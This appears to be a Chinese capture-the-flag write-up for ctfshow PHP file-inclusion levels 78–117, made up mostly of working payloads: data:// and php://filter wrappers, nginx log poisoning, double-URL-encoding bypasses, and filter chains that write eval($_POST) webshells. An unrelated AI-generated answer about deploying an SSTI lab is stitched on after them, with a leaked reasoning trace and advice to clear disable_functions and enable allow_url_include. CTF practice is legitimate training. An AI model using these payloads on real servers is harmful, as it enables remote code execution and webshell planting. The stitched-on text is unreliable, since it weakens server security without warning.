ctfshow 文件包含 web 78 -117

本文探讨了PHP中的编码技巧,如base64编码、url编码,以及如何利用这些技术进行getshell攻击和绕过过滤。涉及的日志文件操作、二次编码技巧和安全防范措施是核心内容。

web 78

data://text/plain,<?php system("cat flag.php");?>
php://filter/convert.base64-encode/resource=flag.php

web 79

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system(‘cat flag.php’);

web 80

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
我们抓个包就可以知道它的服务类型为nginx
在这里插入图片描述

然后在user-agent写shell
在这里插入图片描述

web 81

同上

web 82-86(环境暂时做不了)

web 87

因为它对php,:,data进行了过滤,并进行了url解码
我们可以对php://filter/write=convert.base64-decode/resource=1.php(把内容写进1.php)进行url二次编码
exp,这个只是第一次url编码然后只要在编码网站再编码一次就行了

<?php
$b='';
$a='php://filter/write=convert.base64-decode/resource=1.php';
$c='%';
for($i=0;$i<strlen($a);$i++)
{
	$b=$b.$c.bin2hex($a[$i]);
}
echo $b;
?>

content可以对<?php eval($_POST[1]);?>进行base64编码,再在前面加个aa,因为base64是以4个字节为一组而前面的phpdie还差两个字节。

只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 09,az,A~Z,其余字符都会被跳过
如本题的 <?php die("大佬别秀了");?> 在base64_decode处理的时候可视为phpdie,

web 88

这次构造要注意,要构造一个末尾没有加号或等于号
file=data://text/plain;base64,PD9waHAgaGlnaGxpZ2h0X2ZpbGUoIi4vZmwwZy5waHAiKTsgPz4xYXM
在这里插入图片描述

web 116

用010分离出图片
在这里插入图片描述
然后再分离
file=compress.zlib:///var/www/html/flag.php

web 117

file=php://filter/write=convert.iconv.ucs-2le.ucs-2be/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
//<?php eval($_POST[1]);?>

进入a.php,webshell
<think>嗯,用户想了解如何本地部署CTFshowWEB入门SSTI题目。首先,我需要回忆一下SSTI(服务器端模板注入)的基本概念,以及CTFshow这类题目的常见设置。可能用户需要搭建一个本地环境,比如使用PHP的Twig或者Python的Flask/Jinja2,具体要看题目用的是哪种模板引擎。 接下来,我需要考虑用户可能使用的技术栈。常见的本地部署可能会用到Docker、XAMPP或者直接配置Apache/Nginx。假设题目是基于PHP的,比如使用Twig模板引擎,那么需要配置PHP环境,并确保模板文件正确解析。记得用户提到的引用[1]提到IIS 6.0下.php后缀的文件会被解析,但这里可能需要Apache或Nginx的配置。例如,在Apache中,确保.htaccess正确设置,或者配置虚拟主机。 然后,用户可能需要修改题目中的一些配置,比如路由设置或者服务端代码。引用[2]提到servlet-class和url-pattern,这涉及到Java Web应用的配置,但如果题目是PHP或Python的,可能需要不同的配置方法。比如在Flask中,路由是通过装饰器定义的,而在PHP中可能需要修改.htaccess文件或服务器配置。 另外,安全设置也是需要考虑的,比如禁用危险函数,或者设置合适的权限,防止本地环境被恶意利用。用户可能还需要安装相关的依赖库,比如Composer安装Twig,或者pip安装Flask。 可能遇到的问题包括:服务器配置错误导致模板不解析,依赖未安装,路由设置不正确导致无法访问题目页面。需要逐步检查环境配置,确保每一步都正确。比如,检查PHP版本是否兼容,模板引擎是否正确加载,以及文件权限是否正确。 最后,生成相关问题时要考虑用户可能进一步的需求,比如如何调试SSTI漏洞,或者如何搭建其他类型的CTF题目环境,以及安全注意事项。需要确保回答清晰,步骤详细,并引用相关的参考资料来增强可信度。</think>### CTFshow WEB入门SSTI题目本地部署教程 #### 一、环境准备 1. **Web服务器选择**:推荐使用Apache或Nginx,需支持PHP/Python解析(根据题目具体语言) - 若使用PHP环境,建议安装PHP 7.x + Apache组合[^1] - 示例Apache配置: ```apache <VirtualHost *:80> DocumentRoot "/var/www/ssti" <Directory "/var/www/ssti"> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory> </VirtualHost> ``` 2. **模板引擎安装**: - 对于PHP Twig模板: ```bash composer require twig/twig ``` - 对于Python Flask/Jinja2: ```bash pip install flask ``` #### 二、题目部署步骤 1. **代码结构调整**: ```text 项目目录/ ├── templates/ │ └── index.html ├── index.php # 或app.py └── vendor/ # PHP依赖目录 ``` 2. **核心路由配置**(以PHP为例): ```php <?php require_once 'vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('templates'); $twig = new \Twig\Environment($loader); $template = $twig->load('index.html'); echo $template->render($_GET); ``` 3. **安全限制解除**(调试需要): -php.ini中设置: ```ini disable_functions = allow_url_include = On ``` #### 三、访问验证 1. 启动Apache服务: ```bash sudo systemctl start apache2 ``` 2. 访问测试: ```bash curl http://localhost/?payload={{7*7}} # 应返回计算结果49 ``` #### 四、常见问题排查 1. **模板不解析**: - 检查文件权限:`chmod -R 755 templates/` - 验证Twig初始化是否正确 - 查看Apache错误日志:`tail -f /var/log/apache2/error.log` 2. **依赖缺失**: - PHP需安装mbstring扩展 - Python需安装Jinja2最新版
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值